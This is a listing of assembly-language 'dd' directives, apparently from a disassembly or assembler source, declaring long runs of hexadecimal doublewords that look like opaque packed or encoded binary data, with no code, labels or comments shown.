		dd 296299C7h, 0CD30082Ah, 73EE9E0Eh, 4C998E4h, 6DB57020h
		dd 0B376F2E3h, 72D729DCh, 340C2C08h, 0A7425B2h,	4B087021h
		dd 8A231DCh, 675D108Ch,	0C732975h, 0C06669Ah, 0A47A0A48h
		dd 936C8410h, 0BF769D38h, 0F1716BA8h, 3DDEBD7Ah, 0CAEF062h
		dd 0F90D088Ah, 4ABD2BD7h, 0B0A81845h, 0E161FA10h, 8040C5Dh
		dd 9AA8CC10h, 6F6F4110h, 1CEC42E3h, 0A5081968h,	82B085Fh
		dd 11D237AAh, 0B300FB1h, 0AD08A36Fh, 4824E2D4h,	905CB910h
		dd 40FF59CCh, 5E976D08h, 6C1132D8h, 80D236Ah, 755596CFh
		dd 0DEDCE210h, 0C01D8435h, 44087915h, 6D2D7310h, 0EB687C63h
		dd 294BB275h, 0C6A280Ch, 28D74BC9h, 51D47210h, 63E1486Ch
		dd 106F6033h, 5F7879B5h, 0ADFEE570h, 2C9BF511h,	0E064FEC5h
		dd 4889F3BFh, 9F0C9178h, 7461E4E1h, 88294FAh, 0C53E6308h
		dd 9C45EE29h, 9C0D8725h
		dd 1D42F5E2h, 97099C12h, 67F0C444h, 4FB8D7B9h, 6D193B50h
		dd 10096A10h, 0CE79F648h, 68DE6211h, 0F6727910h, 7008A468h
		dd 6F238665h, 3449A66Eh, 6A146116h, 912EE61h, 6FFD6B90h
		dd 1014C811h, 206B6514h, 0A028299Eh, 8F8E8393h,	8C80CEAh
		dd 0A311FE6Bh, 0FB492814h, 79630851h, 656930C2h, 0D415E18Eh
		dd 1F581E67h, 9B63D078h, 0D6066896h, 60EC495Ch,	72A30C84h
		dd 60080841h, 0DCB36E9Fh, 8890CA2h, 0F09AC667h,	67F06AA8h
		dd 2173A569h, 18616E08h, 4F65466Dh, 26088B11h, 6E12B466h
		dd 25681049h, 0D0D964B6h, 0A55418A1h, 0B47F33AAh, 4AB85A10h
		dd 35705012h, 4975508Ah, 0A8287372h, 0BBB86497h, 0C0B858Dh
		dd 78A16C23h, 69E29E20h, 1C2D735Bh, 953484C3h, 0D024A230h
		dd 4A529A14h, 100828E4h, 8440849h, 734D8549h, 6F700821h
		dd 546D19F6h, 0AB31218h, 3A08724Dh, 3467D2E5h, 5E94D444h
		dd 0B47C2958h, 0C2F46566h, 88D96FC8h, 6D4714C8h, 0A347914h
		dd 6E0865B3h, 6B3E9111h, 23403310h, 621E6B11h, 43B2ABA5h
		dd 0D970AAC0h, 33FDA5C8h, 98196523h, 0F4D9BF65h, 34621896h
		dd 0DB79E935h, 6374F810h, 0B9838468h, 44080ACFh, 0C2829472h
		dd 0C0D97A2Ah, 83E110B4h, 0A6117AEBh, 780AF510h, 5C610DF1h
		dd 8162071h, 533CB66Fh,	0C166484h, 496538CDh, 0CE50F1C2h
		dd 0C28F410h, 0C46E426Fh, 7977616Dh, 1041FE1Bh,	316009C4h
		dd 892A1A2h, 4BB82128h,	8860C86h, 0C54D5AB7h, 27776211h
		dd 297D8B34h, 0B664F272h, 618453ACh, 84C7069h, 4F67436Eh
		dd 70C79610h, 3372C8BCh, 0BF404C0Ch, 0F49E0C42h, 0C67DD611h
		dd 64470884h, 240DE151h, 8420A28h, 0F26FA265h, 0BA2FDC08h
		dd 0CA081314h, 0A61316Ch, 9CA06B21h, 0B4D098B8h, 10FAD60Ch
		dd 519308F5h, 8D014CCh,	0BFE510D3h, 8431446h, 0C4796311h
		dd 8776569h, 9379E8CFh,	78B0B372h, 0AA5EDE97h, 55707820h
		dd 5179746Eh, 0C906F4Dh, 375E08D1h, 74EA8FF8h, 0E71F4F18h
		dd 0C12C4BAh, 14B0082Dh, 62C5A310h, 1A726111h, 776FED48h
		dd 0A0F9C4ACh, 0FC8CA9F9h, 0F5CEF895h, 21720848h, 7B3D6563h
		dd 11D3F7B2h, 181584F1h, 80DECA1h, 7964100Ch, 0F3A28472h
		dd 79DAECC3h, 66554492h, 840C8C30h, 21647A08h, 0E628796Dh
		dd 0A47EB5A2h, 87C18CDh, 94CC109Ah, 0EBF36EF0h,	0E0241ACDh
		dd 10C7E84Ch, 6208656Bh, 66327566h, 0FD6DF0C9h,	0BDE35449h
		dd 6F853827h, 80767C9h,	27BC389Ah, 81C8869h, 90AB2068h
		dd 9E8959BCh, 4F40533Bh, 7840A211h, 513F2C91h, 699D2308h
		dd 0F1C56610h, 304975F5h, 109AE83Dh, 27F1624Ch,	8910688Ah
		dd 88766C17h, 0C704919h, 840CAC77h, 21DCBE28h, 34E92010h
		dd 0F5117974h, 682D2A48h, 24A92C09h, 1859BC40h,	6D6668C9h
		dd 0B46F10CAh, 59690BCFh, 6111B2C8h, 0F50B1092h, 5D10BD2Dh
		dd 721099F4h, 842795Eh,	7B309366h, 0B0D3BDA1h, 5E3C1021h
		dd 0D0A27412h, 10943490h, 47082668h, 11EED86Bh,	6EC76388h
		dd 6509341Ah, 0E1D03278h, 0DCF26DC1h, 80A5260h,	3BA7C9B8h
		dd 3574A56Eh, 0AAD4EB24h, 0DD690823h, 95186836h, 104C0D93h
		dd 4F1042CDh, 0F7893837h, 0C13C632h, 4BB4E853h,	0C043B5F8h
		dd 11FE106Eh, 9321DC79h, 77C31672h, 3636CF6Ch, 684A10F9h
		dd 5E9982C5h, 14120C09h, 0FAA49A65h, 3B0C91D9h,	0CF7C78A4h
		dd 14B68DF3h, 6F9CA608h, 68945F18h, 0A721DC08h,	6A08F088h
		dd 76126F8Ch, 0E3BE10C0h, 6C9E24A1h, 659108A9h,	8E610D7h
		dd 9C10662Ah, 7311CC03h, 896E4B8Eh, 8B10A446h, 0A664116Ch
		dd 79622328h, 6E65103Ch, 14CC3CDEh, 3176FE97h, 1A6EAA10h
		dd 43B74B08h, 62340C58h, 10085080h, 1244D497h, 0CA802708h
		dd 0EA651E08h, 0E5B08B18h, 78E80819h, 6E02F209h, 2AE12974h
		dd 0A1503579h, 8A10C78h, 894B46B8h, 6C0C1CD8h, 0A8021DE3h
		dd 8A08926Eh, 9320F589h, 8840C8Ch, 206E6923h, 6C608ABBh
		dd 3CCD9698h, 0F3612855h, 10B4404Dh, 0B310255Eh, 56EA4BF8h
		dd 74F5C419h, 1408520Ch, 8687497h, 0EC944814h, 9C866810h
		dd 89D82144h, 81447665h, 88822B97h, 934F4028h, 0B03572A1h
		dd 2D330C0Dh, 70428E49h, 776F1064h, 50D670AFh, 0EF939021h
		dd 51119836h, 5C399A67h, 32661899h, 254843C6h, 36AD5564h
		dd 77B9E711h, 7163126Eh, 1A103479h, 8115AE8h, 961C563h
		dd 701092D6h, 9CBCA415h, 6C11CC48h, 928C79E2h, 670881DFh
		dd 0E002AE49h, 0D27D467Ah, 0C89E1010h, 0A04C99D3h, 7AB9010h
		dd 912115Fh, 140949E1h,	4500E92Ah, 32100D08h, 708A4E34h
		dd 0A8520C46h, 8410CD1h, 0E8AF4821h, 886C44Eh, 927512E1h
		dd 9CA074B5h, 122E7473h, 0A5E0F108h, 9573233h, 0DA25DD08h
		dd 9A0C3772h, 86491Ch, 10DDFF6Bh, 2918D2BFh, 72AB2C63h
		dd 0AF94693Ch, 1851D676h, 0DD119A0Ch, 0E708A16Ah, 1A5D4B14h
		dd 92080D17h, 5710ABEAh, 25087DA8h, 65A79AD6h, 942C2128h
		dd 96F50C63h, 0ECB01023h, 65107355h, 894A2F4h, 7E952084h
		dd 5CDB4927h, 183414A3h, 0C6500812h, 4C0ED488h,	0D5119A6Bh
		dd 2484CEDAh, 8F3617Bh,	141BBD6Fh, 188D104Bh, 205E0804h
		dd 903FDC3Eh, 0D26E3D08h, 18A67810h, 90B6F88Ch,	32EE11CDh
		dd 0FCEEAF89h, 1BD0BA9Dh, 81A420Ch, 70142751h, 0CF78CAF3h
		dd 76776D2Ch, 12D11820h, 76EC7864h, 0C19884A6h,	0F362793Dh
		dd 29F108A2h, 7A1CEC2Ch, 7308547Dh, 0CED7BCACh,	10BA27C9h
		dd 504A7CD2h, 2C4D5C30h, 666812DEh, 6E92109Dh, 770857F3h
		dd 63C5A873h, 45981055h, 40763FAAh, 6BB4B811h, 98E31178h
		dd 1508A541h, 0D9D4BA48h, 6B080837h, 0C2F938FAh, 6193EAD1h
		dd 1C90ACF2h, 1377E1D3h, 63DB6608h, 0A4BCFCCCh,	0F4EF1C27h
		dd 9212D6D8h, 8122584h,	50841084h, 14680849h, 0BB19D690h
		dd 0A30C8F50h, 6474AC6Fh, 73A24AECh, 75674310h,	0D54AC8D7h
		dd 98AB6F1Fh, 0B284EFA8h, 42DE10D0h, 18854A68h,	0BCE39FE1h
		dd 119B2FACh, 6579E4EFh, 8167F8Dh, 0F86C8464h, 6033B573h
		dd 202899C7h, 949BC914h, 43E250C4h, 86867008h, 0C918220h
		dd 0B96B1059h, 25186D7Ch, 21080D88h, 0F2A85DCFh, 117B90BBh
		dd 948464F0h, 2D703EADh, 6966786Fh, 737F0092h, 8A165F0h
		dd 59DDEF70h, 5577AE10h, 68EFF108h, 4435DF4Ch, 106510F2h
		dd 69A4A263h, 0AA7A712Eh, 0B4DAB14Ah, 0DE84AC10h, 0F932772Dh
		dd 43DF0C12h, 18649579h, 0C9016ADh, 0D3775F97h,	257D8D6Dh
		dd 78102A93h, 4EE39408h, 5E18B436h, 840E2764h, 5A18E36Bh
		dd 0B88DCB84h, 8EB58635h, 0A480A8E0h, 9FC31C56h, 74F3D475h
		dd 0C4796E16h, 353BD59Dh, 0E498A879h, 8DFF0C25h, 1B10AF21h
		dd 6B103FF4h, 43B86DA3h, 638B6423h, 2C8A6B6Ch, 6DA778C0h
		dd 0AE970410h, 0C4008E6h, 7008A46Ch, 74238661h,	73658868h
		dd 0ED04C36Bh, 0DE4C0810h, 5C7A9B2Dh, 5C921511h, 7EEA6546h
		dd 40849C70h, 6C2537B1h, 782DF9E4h, 0C59114Bh, 0BF4808D1h
		dd 163F995Ah, 88A8A0Ch,	0AC541012h, 163B10CDh, 80F107Ah
		dd 11D9504Ch, 0E5F57B73h, 9AF21C0Dh, 2F890B08h,	66FF123Bh
		dd 0CAA9115Ch, 0EE484D70h, 63FF249Ah, 8D641F7h,	1C421232h
		dd 79766108h, 0B0730A6Fh, 841468CDh, 18AF14D9h,	7B69587Ch
		dd 0D942A52Ch, 3D81C9Ah, 0C4809397h, 0B66FD0A2h, 82E0E81Ch
		dd 96FD7061h, 961F4F6Ch
		dd 0A8F5C97Ah, 0F6D0F710h, 0BF21DC08h, 753C86F0h, 8E69C673h
		dd 18D06C4Ch, 6CE05D80h, 0F5677410h, 4C289BCAh,	633B2018h
		dd 8910C52h, 845A849h, 8457B68h, 9BE62C0Dh, 10224354h
		dd 9D08A47Bh, 104A3E1Bh, 10A6208Dh, 736C0AD7h, 0A7206808h
		dd 81AFBC2h, 0FC6B3024h, 0CA35DEDCh, 11995AB8h,	0CC92EE66h
		dd 6B0A487Ch, 8DAD0879h, 4EE2647Ah, 6B10C8B4h, 0E41364E5h
		dd 0C0989A1h, 47ABB32Fh, 5D114A0Ch, 68DDDF0Ch, 410868A1h
		dd 0D79656Bh, 27A4582Ch, 6908EA0Ch, 5214F888h, 0BC610811h
		dd 0D2244D13h, 0A673B1B0h, 0EAFAD108h, 5C680C47h, 827520Ch
		dd 6E697272h, 794C691Ah, 0A4F711BEh, 3ED9BC20h,	4A540851h
		dd 0ADD8824h, 0F33C7A65h, 8ACF119Bh, 0FE7EB738h, 3811612Dh
		dd 5A089157h, 856826C3h, 94EE0C34h, 0E30C2476h,	0A1EF7878h
		dd 1034A3CCh, 66892437h, 0B310D2F8h, 60765ABDh,	8A1D9011h
		dd 843B7030h, 18735310h, 8148069h, 946E18CFh, 756B8208h
		dd 181A3273h, 467386A5h, 0EC756A08h, 64B2148Ch,	6E0C5CFBh
		dd 48F720A4h, 64A66310h, 0D504DF1h, 7CDA2228h, 101208AAh
		dd 37ED754Bh, 5CD1BF08h, 0B311DA74h, 5F5C4DE0h,	0B3250845h
		dd 6F950817h, 0DAD41055h, 0F6A03A10h, 640C6818h, 2C33C968h
		dd 0DA3948B2h, 7FB01A11h, 4874AFC1h, 65466B08h,	63886423h
		dd 7348EF79h, 0B2A554C8h, 620821BBh, 55176775h,	0CE205A69h
		dd 0D3F8181Ah, 19B69C93h, 0E1088614h, 36180D19h, 4106C2Ch
		dd 8635170h, 201886A1h,	8BDB98C7h, 46705908h, 0E4431443h
		dd 0DD5ADC5Dh, 170C04C0h, 89F07729h, 0DF2EACF3h, 253C6021h
		dd 7525A574h, 70730C21h, 8C61084Ch, 6F30E6FFh, 6BEE8C6Eh
		dd 6164218Eh, 0DDDACBADh, 82620809h, 93686743h,	3C36E51Ch
		dd 8E746520h, 4A0C7462h, 69746608h, 10D10466h, 0CDFAD794h
		dd 6411AF6Fh, 3D96BC52h, 0ECF475AEh, 34937718h,	0AF90C528h
		dd 107E22ABh, 3FFC13B7h, 61A86211h, 0BE78BF10h,	367C208Ah
		dd 0F167106Ch, 6610A2F2h, 0E848DE74h, 3208210Ch, 4BE273C0h
		dd 59615819h, 267ADDB0h, 5E106F8Ch, 95737508h, 5093C076h
		dd 94DFE414h, 0FBDF2073h, 2D0879A9h, 0A108F308h, 0FDF6AF28h
		dd 0FDD0362Ah, 4CF3D710h, 62240C43h, 12104D29h,	88F73EFh
		dd 86F0FCDEh, 6B176CB9h, 0ABBC83F5h, 4697CB5Fh,	2308430Ch
		dd 7F46B865h, 0A96B6E46h, 11B4CE51h, 0AE70A9A6h, 9B088A0Ch
		dd 0AD1EC469h, 14B13328h, 116B3B74h, 796D1602h,	0CA18BD6h
		dd 0D0200821h, 870BA9Fh, 6E42080Ch, 60C43267h, 0C84FE90h
		dd 8A66FF0h, 6D9B24F3h,	8840CACh, 134C6452h, 77367965h
		dd 1084D011h, 77C56288h, 76852827h, 4C501835h, 9169CF08h
		dd 88A721DCh, 59A408C1h, 49EF08A2h, 0DE306C38h,	6EA4272Dh
		dd 0F34085Ah, 1868104Ah, 1472096Fh, 0E119D740h,	0C9AF646h
		dd 26D51433h, 88C7E30h,	0EE866570h, 23F5866Eh, 2C985840h
		dd 114D0E70h, 10A44C09h, 874946Bh, 611023DCh, 7963C8DFh
		dd 0B300596Bh, 27FD6410h, 0FC698630h, 920A61D2h, 75A53063h
		dd 116CF526h, 14AE8F97h, 652A7810h, 6EFE2070h, 8A479E2h
		dd 8AD5709Fh, 94402F08h, 6117DE48h, 69827937h, 0D5E36478h
		dd 16DE6810h, 5EE88565h, 0B0EC2F3Ah, 0FA011D3h,	5211DF61h
		dd 7C70F775h, 10B35C93h, 69288C6Eh, 2814B2B7h, 669C080Ch
		dd 68434378h, 0CF801068h, 0D3307AEEh, 9D100476h, 4F801A88h
		dd 0BC2170CAh, 6900A64Bh, 0DFF6C610h, 2374DC11h, 69114338h
		dd 0D810936Ch, 735D7E29h, 0AE9296ACh, 0CCFCD468h, 2DAB6518h
		dd 9276B02Dh, 0BA737AACh, 8910D6D0h, 1211ADF7h,	7C1457F7h
		dd 610C48E1h, 676508A4h, 8246494h, 0DC08FB50h, 28644922h
		dd 0F508A679h, 2432C21Dh, 0ABA26338h, 0A61B135Fh, 93296F92h
		dd 8B2BA6DDh, 4A0C42DCh, 734FC935h, 78697F75h, 2EE5EDA0h
		dd 7186BC74h, 78743989h, 8440C57h, 6481D264h, 4A97EC74h
		dd 0C733D4Ah, 84875249h, 75108A08h, 8AAF7E79h, 821C86Bh
		dd 4A70641Bh, 0E2609911h, 8AA7507h, 0CF65E84Eh,	4AC6FD3Eh
		dd 24BC10AEh, 36796EC4h, 84ED08Bh, 0BE646B2Ah, 1F1821B7h
		dd 0D853E56Dh, 4DF50CA0h, 75107E08h, 4C5BD340h,	0C74B542h
		dd 1C250824h, 843C0BCh,	0B2546C2Ah, 481CB14Fh, 2508210Ch
		dd 8AC88DDh, 0CCAF1B2Ch, 0EF18DD34h, 21B5BFE3h,	3C78650Ch
		dd 6963146Ch, 90778D0Ch, 8211F406h, 28484AC7h, 1A4F1808h
		dd 14182F7Bh, 706C8510h, 6F940837h, 0EB6B0877h,	0C084338h
		dd 855643Fh, 2994AC44h,	0EDCDA867h, 900888A1h, 0C518D06Eh
		dd 0DAB86264h, 8450C46h, 2EA5A315h, 0A87910A5h,	0DA1C5DBCh
		dd 15C05410h, 115E0879h, 0A5A08E7h, 2008797Fh, 500897E9h
		dd 0A1936F24h, 0D3019E2h, 0CD2E50h, 24440C09h, 0A962B4C2h
		dd 79380508h, 65E10855h, 0A98D6D11h, 820811AAh,	77E02710h
		dd 886948AAh, 714B480Ah, 0B010B4C1h, 8A46414h, 35671881h
		dd 693E3234h, 961B7810h, 0E718CD80h, 102D1ADDh,	10B325F1h
		dd 1A698A63h, 293D952Fh, 2FFE2624h, 74BCDF44h, 7310D5BCh
		dd 1D106A0Dh, 0FCDF10CDh, 988C6428h, 0F508869Bh, 5E9B1AE6h
		dd 2BBCF5C4h, 189F6499h, 8D4FE75h, 0B5529673h, 68F4E811h
		dd 5B490848h, 0F64A3EACh, 6C10651Ch, 8246ED4h, 30941034h
		dd 0BF21105Eh, 42D0D6DBh, 8F116BF1h, 24D95A10h,	0D66CCEE2h
		dd 6FA08B10h, 81C95618h, 0DD21CEE2h, 204EED53h,	86D19CAh
		dd 114C8548h, 14754961h, 0C2D8B192h, 3A680891h,	0F7197C76h
		dd 6A3D557Bh, 41ABF74Bh, 95C62A0Ch, 516E95F2h, 3974EDDFh
		dd 0ECC45EBEh, 5E55526Ch, 4C7C29BEh, 4916418h, 18FC10B4h
		dd 811F441h, 1AC2656Dh,	0B408C328h, 3008519Fh, 97478851h
		dd 6F1E083Ah, 0AA251029h, 0C21509Ch, 736412B1h,	1017084Dh
		dd 2C5A61E5h, 293DC21Eh, 0C3E25F08h, 4D300828h,	61080C1Eh
		dd 42776B43h, 6563846Eh, 908D6F4Bh, 1137CFCEh, 11ADA575h
		dd 0B4791960h, 7D19CD40h, 0CA67E55h, 821E3B6h, 72A51021h
		dd 0B4E597E7h, 64941421h, 2CB6DA08h, 0BF62B208h, 0BA5F98B2h
		dd 1A0C32D0h, 44301208h, 8EED0DAh, 0D64210D1h, 7D170841h
		dd 7305498Bh, 0B0811A5h, 905A528h, 18586677h, 6EF0AC8Ch
		dd 764212BDh, 0A71021FDh, 0B52B4853h, 57D510B4h, 2F9F10B9h
		dd 0C4680F4Bh, 12EFD411h, 34DE21FCh, 69C7BD45h,	0F194C610h
		dd 10C7367Bh, 1974FDEFh, 0E19714FEh, 8497953h, 5E81015h
		dd 0B408A37Fh, 8147CA1h, 8A010BAh, 8D3514Bh, 79CCC25Eh
		dd 82C89475h, 3C7A5544h, 597618C8h, 3D94DB72h, 86640808h
		dd 5B7645FBh, 0A97DC66Dh, 4AD48997h, 0AD4B76C8h, 6A9D18EEh
		dd 0D6FC2914h, 1427521Ch, 7A11D872h, 0D96DDD55h, 11A6D048h
		dd 10616B23h, 6F08A763h, 0C674F55h, 9CA9597Ah, 43535CD6h
		dd 8440C38h, 68BDCA67h,	0A002AC08h, 6BAADF08h, 830CA2B8h
		dd 796DD108h, 255D2BC2h, 0A4E875D7h, 0E26918D9h, 0A3DA1492h
		dd 61D971D7h, 9508512Bh, 91BCB24Eh, 63B54A2Ch, 120C74A3h
		dd 0D6E8BD63h, 95AFA3D7h, 4B684208h, 0BBF6F0B5h, 85197FD4h
		dd 77C29AA7h, 1427043Ah, 0CB441967h, 0CDFDCFF1h, 808172Ah
		dd 72274D4Ah, 0C4BE1BBh, 0AB781842h, 8811460Ah,	7DF6FD78h
		dd 185850BBh, 7C11DBBFh, 6208A22Ah, 2A401375h, 0F0106D7Ah
		dd 5E794673h, 81D76D4h
		dd 0BC947967h, 20423448h, 6461CC5Fh, 8CD794Ah, 0B4C4EEACh
		dd 800810D8h, 6C10A17Bh, 185465E1h, 91AD2064h, 0C7E38741h
		dd 336B10AAh, 0CDE8F524h, 0A8C4319Bh, 0ED2ADE8Dh, 12CC2F95h
		dd 0AA965EBDh, 2C53C474h, 9D4FD8E6h, 0FCDD2B05h, 576211A5h
		dd 640CDA08h, 5874BA6Dh, 34690C0Eh, 11328E08h, 6E88219Ch
		dd 0E076C967h, 4B087214h, 0F14ECCB3h, 63506A50h, 49114E08h
		dd 74BD4010h, 0A17449E3h, 63920819h, 0C45D3B6h,	0CC8512Ah
		dd 4A51EE97h, 8208900Ch, 32797472h, 0E1597277h,	8020C5Dh
		dd 4A97FE70h, 6184B193h, 671C4C75h, 6B8F68FDh, 0A0615139h
		dd 0FD188408h, 109A7338h, 104334BBh, 75105A74h,	27A3DE08h
		dd 104F374Bh, 0C4AAE065h, 112A5A03h, 0D1A714D4h, 481C4824h
		dd 14D23CD0h, 8B10A678h, 975A789Ah, 11DA386Ch, 0A63C2C0Eh
		dd 4834AE63h, 1445AC6Ch, 705774E1h, 80FA88CBh, 46454440h
		dd 4C551A41h, 0A03B2154h, 0A0E713C4h, 0F612977Ch, 0A01082Ah
		dd 3C086861h, 0DF4469AAh, 24D3A5A8h, 0E0771835h, 1A6E77E2h
		dd 43183375h, 844A2010h, 45B3E670h, 6B08090Ch, 0B6103C36h
		dd 69116CE4h, 1290BA9Dh, 6308250Ch, 48342434h, 912CD310h
		dd 639D67D5h, 4374ABDEh, 0AD1145B8h, 24511B44h,	0DDC45B0Ch
		dd 8120C74h, 4769F4E1h,	0C8D3189Ah, 4ABE483Ch, 0EC7800A2h
		dd 0B422F579h, 4BC59F7Ch, 65970CA0h, 550C2090h,	74D90865h
		dd 3B0D6EE9h, 54666B12h, 349A9B18h, 4B74FF11h, 0B5D40C24h
		dd 0B62D0C76h, 0F516EF79h, 8ED42EA7h, 81F0C64h,	686277CEh
		dd 3EA54879h, 1188664Fh, 8A614495h, 14B70808h, 7934136Fh
		dd 211874FEh, 4C797014h, 0A68E7308h, 6110DE54h,	0D5CBC448h
		dd 8139C4Ah, 1408DA68h,	544908C8h, 21DDA6C4h, 41DBA00Ch
		dd 8008066Ch, 14617629h, 5F3CD2BEh, 51F824ABh, 0E24F1808h
		dd 900C9193h, 0F91A5E08h, 0F8141A9Ch, 0F2794F71h, 0D21490BCh
		dd 81714B1h, 6273887Fh,	10A96162h, 20296B42h, 0F63600DEh
		dd 0CD689E10h, 6B841C11h, 5C8C40A6h, 86C178BDh,	0A7B0D394h
		dd 6A0C4124h, 8C183876h, 0E45DF570h, 0C0661E9h,	58850C8Ch
		dd 0F8519A25h, 6822F15Ah, 119A0CD0h, 0EFB94B76h, 7661A511h
		dd 186F78F6h, 58796Bh, 8E950C8Ch, 4A08942Ah, 823C194h
		dd 964DC65h, 685C6920h,	0A63C106Dh, 0C41515Eh, 0B17F109Ah
		dd 8A6A79B8h, 14AC70C0h, 70BB088Bh, 0B3653284h,	50104288h
		dd 43E0F64Fh, 8A47C1Ch,	0A5746123h, 49089E08h, 14A331F6h
		dd 65106C1Fh, 1768A1D3h, 0A574FA08h, 10362FF1h,	6C7525B8h
		dd 18DE34CCh, 21F759A5h, 42433808h, 319C7D18h, 0DC3A324Ah
		dd 0FA325504h, 4AB5D8CEh, 683AD560h, 14A3FFF6h,	41DCBB25h
		dd 0B8A2A918h, 10685308h, 6F2C997Bh, 0DA4EA893h, 6D385E10h
		dd 787AE11h, 42BB0CA3h,	109020D1h, 5FCAC496h, 68C6FD10h
		dd 6445081Eh, 675EAC8Bh, 0E47789D8h, 0AD088A6Fh, 51D211F9h
		dd 771035BEh, 0ECF68994h, 0AA3F5E69h, 2065B52Fh, 0F273C21h
		dd 4E3C5425h, 1CFDEAC5h, 0A7766289h, 884BA2Fh, 6362080Ch
		dd 24321A68h, 0ABE350F2h, 10338011h, 8C84DE6Dh,	0E9A4D20Ch
		dd 400CD1C4h, 82C97208h, 0C8D0D465h, 1208A10Ch,	99B0DD6Eh
		dd 6CE96F18h, 9EF20846h, 1E1421B5h, 4267DA69h, 6DB9080Ah
		dd 7A316810h, 0C94A08AAh, 556B0811h, 6FA90A18h,	0A1F14808h
		dd 0DF699008h, 0CAC5EAEDh, 833B5D71h, 96E41842h, 0F6111076h
		dd 0DE18E73h, 8446278h,	0AC10A66Dh, 0F8DD8265h,	0E10886C1h
		dd 2AC9610Dh, 43084011h, 0A864C10h, 0C657861h, 884808E8h
		dd 9D086594h, 47345F8h,	14CDB14Ah, 6D0842F8h, 0B21A7061h
		dd 55E5785Ch, 0D859106Fh, 732310BFh, 2F9DF128h,	54B61321h
		dd 0E5671065h, 0D08A6BE3h, 375F1442h, 1EEA8B01h, 105FC54Bh
		dd 11A72CCDh, 0B4081188h, 610848C7h, 0A46CA4CCh, 3E8F9108h
		dd 8A0CAEF0h, 3EBF7608h, 201479A9h, 62757CE0h, 7A6E1166h
		dd 1AD61092h, 10D19FA0h, 2A26DF8Ch, 893F10CDh, 58CA6B83h
		dd 0EF411C42h, 49348419h, 8508AA72h, 85D7985h, 90AC10E9h
		dd 808E10A2h, 0D002CF82h, 0C9A7075h, 565A14B3h,	4308D111h
		dd 51E14A10h, 8576EC5h,	8849100Ah, 65450891h, 1065F4F7h
		dd 8355072h, 0F14F1043h, 32E5043Ch, 89A660Ch, 0EF281032h
		dd 0DC07B710h, 0EA9D6E11h, 11082ED8h, 59F48492h, 4D730508h
		dd 6C28C208h, 2A8D69C4h, 92641094h, 0F40910DAh,	19D0E8EEh
		dd 347528B4h, 10A479F4h, 0F47457F5h, 693DE37Ah,	374B5E10h
		dd 795F8969h, 0F71CA206h, 0D32566F2h, 6EFCCD10h, 0C099C9Dh
		dd 0D27C10A0h, 69FFF2D3h, 2B18B210h, 2DAB42E7h,	89F2DE08h
		dd 22FED608h, 786D5518h, 0FE091275h, 0B1A7526Fh, 0AFF4C241h
		dd 687810CDh, 0DE086C2Ah, 3195399Ch, 6E251433h,	0C86E8662h
		dd 0FE7618C9h, 0C764B90h, 0C0D28EDh, 119278D5h,	4A34B273h
		dd 245164FAh, 6908E31Ch, 8D7B210h, 70681008h, 35B5FB4Bh
		dd 29FBBC11h, 44B80873h, 0E165F267h, 1953710Dh,	0F918AC34h
		dd 0A666104Ch, 86DA9878h, 8464B708h, 69740C8Eh,	556508A9h
		dd 0D15E12Ch, 10F82F94h, 1B940890h, 0D4622C42h,	893676Fh
		dd 0BCB2215Bh, 0CD970C90h, 5DBE296h, 7F1B5227h,	6208AA64h
		dd 64C0ADB7h, 28BA54AFh, 8480F74h, 0EF17B24Dh, 848078Ah
		dd 7A8670BEh, 6518FB63h, 9A250DE1h, 250892CAh, 27BB6710h
		dd 207CDB6Eh, 184D54C8h, 4372080Ch, 6BD44E74h, 4CF90856h
		dd 196BC046h, 1065394Bh, 60166B8Eh, 57E92412h, 0CCD618DAh
		dd 0C26CFACFh, 0D0B25F92h, 0B688BA09h, 0A90AAF4Ch, 0C285A80h
		dd 5CCD3F08h, 692AF692h, 0D17AE410h, 1A4EF011h,	0C3239ABh
		dd 0E4DC382Bh, 1A101AD2h, 90B1DD18h, 0D1207867h, 78086514h
		dd 85210166h, 9142B80Bh, 0E4249012h, 180A2037h,	30994FB8h
		dd 0C24BDF38h, 0B3D077B8h, 5AE10F8Ch, 0B0D55F0Eh, 0D0E6E316h
		dd 25A5F771h, 32DB92DFh, 7610320Eh, 307889A4h, 134CB4F1h
		dd 0BF33716Ch, 824F8C2h, 8C653374h, 4020BD35h, 77083020h
		dd 0BB64336Eh, 753ED1D1h, 4FD2B2A0h, 0F74F50B2h, 0A4935B14h
		dd 832FD69h, 4076326Bh,	0B4CC6244h, 4839FD4Dh, 8608772Ah
		dd 9A70E010h, 9796983Dh, 8EFFA64Ah, 9C0C1596h, 10253134h
		dd 242D24AAh, 631C0D0Bh, 0F9081517h, 6808D09Ch,	0D52F9A58h
		dd 0E268FAB1h, 7A95084Ch, 5308A45Ch, 0A94A0879h, 90BD9323h
		dd 0C5DAA478h, 5A6664CAh, 8656953Ch, 5CA0B829h,	95535295h
		dd 9A2DD871h, 7659C2A4h, 0BED2C930h, 0B82C69Ah,	213B00DCh
		dd 0DB42256Ch, 300A170Eh, 2D416C08h, 6CB42595h,	0B670C24h
		dd 4EC6090Ah, 9D7AF40Ch, 6A627099h, 16B00424h, 82EB9A73h
		dd 0BCB95DF2h, 485C666Bh, 1537CE38h, 4A8F4290h,	0C0D038ADh
		dd 0E9B19DAh, 0AF020A41h, 6908F110h, 36E9690Fh,	737788B2h
		dd 0F5522F28h, 99621B8h, 11CE6C22h, 0F8E43373h,	4193B569h
		dd 7698DCCh, 16647464h,	6145DCA8h, 4399E77Fh, 39EF6C6Ch
		dd 0AA4E9679h, 2C8D8234h, 9764117Ch, 77E250ECh,	40849F5h
		dd 0AF8EAA10h, 97E7BF70h, 35E00C20h, 14B1D395h,	0BFD60936h
		dd 94C2C7DDh, 430EE10Ch, 0E18C7008h, 8533C219h,	0B519F836h
		dd 10091CEAh, 0B6CEE47Fh, 5A0CC8FCh, 7558BD58h,	0F97B9D3Ch
		dd 0D5A550B1h, 0B87E0B29h, 4B3D766Bh, 0E1CC445Fh, 60DCF66Fh
		dd 43414210h, 5055204Bh
		dd 0DA3F0EDEh, 2A061BEEh, 94D9304Bh, 9E774FC0h,	57056F15h
		dd 0B033124Eh, 40F74D34h, 4C49461Ch, 4A57B8F5h,	4428DFECh
		dd 4F420A10h, 0AC7C4854h, 8534AE2Fh, 1C4C5546h,	52570673h
		dd 74809E49h, 46F54148h, 5051E308h, 0D4FED718h,	524F5715h
		dd 4D84613Ch, 4C434E49h, 78458D4Fh, 81645547h, 842528F1h
		dd 24193325h, 522E3CCBh, 884F52F3h, 0D44D651h, 0B25B99ACh
		dd 12186FCDh, 0AE5674E2h, 3BE0C94Ah, 3C5825ACh,	778DD1D4h
